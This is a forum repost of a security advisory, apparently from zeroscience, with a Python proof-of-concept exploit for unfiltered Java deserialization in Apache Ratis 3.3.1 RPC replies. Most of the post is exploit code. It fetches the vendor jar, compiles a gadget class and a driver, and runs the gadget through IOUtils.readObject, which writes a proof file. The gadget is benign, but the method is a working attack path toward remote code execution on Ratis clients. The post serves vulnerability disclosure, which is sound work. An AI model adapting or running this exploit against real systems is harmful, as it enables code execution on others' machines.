Стани премиум член и добиј попуст на 2000+ производи и куп други бенефити!

Apache Ratis 3.3.1 Java Deserialization

zeroscience

ZSL Bot v4.89.1.00
31 мај 2010
1.111
666
www.zeroscience.mk
Python:
#!/usr/bin/env python
#
#
# Apache Ratis 3.3.1 Java Deserialization
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://ratis.apache.org
# Affected version: 3.3.1 and 3.3.0
#
# Summary: Apache Ratis is a highly customizable Raft protocol implementation
# in Java. Raft is a easily understandable consensus algorithm to manage replicated
# state. Apache Ratis could be used in any Java application where state should
# be replicated between multiple instances.
#
# Desc: Apache Ratis suffers from an unsafe Java deserialization vulnerability
# in its RPC error handling. The cause and stack-trace bytes carried in an RPC
# reply exception are deserialized through IOUtils.readObject with no class filtering,
# so a malicious server (or a man-in-the-middle) can return a crafted exception
# whose bytes are deserialized in the receiving client. A gadget chain was run
# through the real IOUtils.readObject in ratis-3.3.1. This can result in remote
# code execution against a Ratis client where a suitable gadget is present on the
# client classpath. The trust precondition is a compromised/malicious server or
# MITM, so a peer-trust rebuttal is likely.
#
# ================================================================================
# > python ratis_poc.py
# [*] Step 1/4: fetching the real vendor jar from Maven Central (ratis 3.3.1, latest)
#     [>] ratis-common-3.3.1.jar
#     [>] slf4j-api-1.7.36.jar
# [*] Step 2/4: writing Java sources
# [*] Step 3/4: compiling
# [*] Step 4/4: running against the real IOUtils.readObject sink
# --------------------------------------------------------------------
# [*] Malicious reply 'cause' ByteString length = 71  (as ProtoUtils.writeObject2ByteString would produce)
# [*] Victim client calls the REAL org.apache.ratis.util.IOUtils.readObject()...
# >>> EvilGadget.readObject() EXECUTING on the Ratis client JVM
# [*] readObject returned: EvilGadget  (non-Throwable object deserialized -> sink is UNFILTERED)
# --------------------------------------------------------------------
#
# [+] TRIGGERED: attacker-controlled object's readObject() ran inside the real Ratis sink.
#     Proof file RATIS_PWNED.txt:
#       >>> code ran during Ratis reply deserialization @ Tue Oct 07 01:23:06 CEST 2026
#
#     (EvilGadget is a benign demonstrator. Full RCE needs a real gadget on the Ratis
#      CLIENT classpath + the attacker on the server side / MITM of the plaintext link.)
#
# [*] Artifacts left in place: C:\Users\ratis_reply_deser_rce\work
# ================================================================================
#
# Tested on: Microsoft Windows 10 (x86_64)
#            Eclipse Temurin OpenJDK 21.0.6 (LTS)
#            SLF4J 1.7.36
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2026-6010
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6010
#
#
# 13.08.2026
#


#            .______________________.
#            o_________MoAB_________o
             #                      #
             #           O/         #
             #          /|          #
             #          / \         #
import os    #_____________________ o
import sys    #_____________________ o
import shutil    #______________________ o
import subprocess    #________________________ o
import urllib.request    #________________________ o

r"""
Apache Ratis 3.3.1 (latest) - unfiltered Java deserialization of RPC-reply exception bytes
(ProtoUtils.toObject -> org.apache.ratis.util.IOUtils.readObject).

What it does:
  1. Downloads the REAL vendor jar from Maven Central (ratis-common 3.3.1, the latest release -
     its IOUtils.readObject is still unfiltered) plus slf4j-api.
  2. Emits a benign demonstrator gadget EvilGadget.java and a driver.
  3. The driver serializes EvilGadget with a standard ObjectOutputStream - exactly what a
     malicious/compromised Ratis SERVER (or a MITM on the plaintext client link) does via
     ProtoUtils.writeObject2ByteString when it puts an object in a reply's exception
     cause/stackTrace ByteString.
  4. It then feeds those bytes to the REAL org.apache.ratis.util.IOUtils.readObject(in, Object.class)
     - the exact sink ProtoUtils.toObject calls when a Ratis CLIENT parses a RaftClientReplyProto.
     The sink has no ObjectInputFilter, so EvilGadget.readObject() runs (writes RATIS_PWNED.txt)
     before any Throwable/StackTraceElement cast. The script verifies that file exists.
"""

RATIS_VERSION = "3.3.1"
SLF4J_VERSION = "1.7.36"
CENTRAL = "https://repo1.maven.org/maven2"

JARS = {
    f"ratis-common-{RATIS_VERSION}.jar":
        f"{CENTRAL}/org/apache/ratis/ratis-common/{RATIS_VERSION}/ratis-common-{RATIS_VERSION}.jar",
    f"slf4j-api-{SLF4J_VERSION}.jar":
        f"{CENTRAL}/org/slf4j/slf4j-api/{SLF4J_VERSION}/slf4j-api-{SLF4J_VERSION}.jar",
}

GADGET_JAVA = r"""
import java.io.*;
import java.nio.file.*;
import java.nio.charset.StandardCharsets;

public class EvilGadget implements Serializable {
    private static final long serialVersionUID = 1L;
    public String note = "ratis-poc";
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        System.out.println(">>> EvilGadget.readObject() EXECUTING on the Ratis client JVM");
        try {
            Files.write(Paths.get("RATIS_PWNED.txt"),
                (">>> code ran during Ratis reply deserialization @ " + new java.util.Date() + "\n")
                    .getBytes(StandardCharsets.UTF_8),
                StandardOpenOption.CREATE, StandardOpenOption.APPEND);
        } catch (Exception e) { /* ignore */ }
    }
}
"""

DRIVER_JAVA = r"""
import java.io.*;
import java.lang.reflect.Method;

public class Driver {
    public static void main(String[] args) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try (ObjectOutputStream oos = new ObjectOutputStream(bos)) {
            oos.writeObject(new EvilGadget());
        }
        byte[] wire = bos.toByteArray();
        System.out.println("[*] Malicious reply 'cause' ByteString length = " + wire.length
            + "  (as ProtoUtils.writeObject2ByteString would produce)");

        System.out.println("[*] Victim client calls the REAL org.apache.ratis.util.IOUtils.readObject()...");
        Class<?> ioutils = Class.forName("org.apache.ratis.util.IOUtils");
        Method readObject = ioutils.getDeclaredMethod("readObject", InputStream.class, Class.class);
        readObject.setAccessible(true);
        try {
            Object result = readObject.invoke(null, new ByteArrayInputStream(wire), Object.class);
            System.out.println("[*] readObject returned: "
                + (result == null ? "null" : result.getClass().getName())
                + "  (non-Throwable object deserialized -> sink is UNFILTERED)");
        } catch (java.lang.reflect.InvocationTargetException e) {
            System.out.println("[*] sink threw AFTER gadget execution (expected for some payloads): " + e.getCause());
        }
    }
}
"""

def download(url, dest):
    if os.path.exists(dest) and os.path.getsize(dest) > 0:
        print(f"    [=] cached {os.path.basename(dest)}")
        return
    print(f"    [>] {os.path.basename(dest)}")
    req = urllib.request.Request(url, headers={"User-Agent": "ratis-poc/7.10"})
    with urllib.request.urlopen(req, timeout=60) as r, open(dest, "wb") as f:
        shutil.copyfileobj(r, f)
    if os.path.getsize(dest) == 0:
        raise RuntimeError(f"empty download: {url}")

def main():
    for t in ("java", "javac"):
        if shutil.which(t) is None:
            sys.exit(f"[!] '{t}' not found on PATH. Install a JDK (e.g. Temurin) and retry.")

    work = os.path.join(os.path.dirname(os.path.abspath(__file__)), "work")
    lib = os.path.join(work, "lib")
    os.makedirs(lib, exist_ok=True)

    print(f"[*] Step 1/4: fetching the real vendor jar from Maven Central (ratis {RATIS_VERSION}, latest)")
    for name, url in JARS.items():
        download(url, os.path.join(lib, name))

    print("[*] Step 2/4: writing Java sources")
    with open(os.path.join(work, "EvilGadget.java"), "w", encoding="utf-8") as f:
        f.write(GADGET_JAVA)
    with open(os.path.join(work, "Driver.java"), "w", encoding="utf-8") as f:
        f.write(DRIVER_JAVA)

    cp = os.pathsep.join([os.path.join("lib", n) for n in JARS] + ["."])
    marker = os.path.join(work, "RATIS_PWNED.txt")
    if os.path.exists(marker):
        os.remove(marker)

    print("[*] Step 3/4: compiling")
    if subprocess.run(["javac", "-cp", cp, "EvilGadget.java", "Driver.java"], cwd=work).returncode != 0:
        sys.exit("[!] compilation failed")

    print("[*] Step 4/4: running against the real IOUtils.readObject sink\n" + "-" * 68)
    subprocess.run(["java", "-cp", cp, "Driver"], cwd=work)
    print("-" * 68)

    if os.path.exists(marker) and os.path.getsize(marker) > 0:
        print("\n[+] TRIGGERED: attacker-controlled object's readObject() ran inside the real Ratis sink.")
        print("    Proof file RATIS_PWNED.txt:")
        with open(marker, encoding="utf-8") as f:
            for line in f:
                print("      " + line.rstrip())
        print("\n    (EvilGadget is a benign demonstrator. Full RCE needs a real gadget on the Ratis")
        print("     CLIENT classpath + the attacker on the server side / MITM of the plaintext link.)")
        print(f"\n[*] Artifacts left in place: {work}")
        sys.exit(0)
    else:
        print("\n[-] No proof file produced - the gadget did not execute.")
        print(f"\n[*] Artifacts left in place: {work}")
        sys.exit(1)

if __name__ == "__main__":
    main()




 
— членови онлајн
—мислења
—теми
—членови

Последни теми

Офтопик

Последни огласи

IT.mk/market понуда

Бесплатна достава на 3000 производи
На врв Дно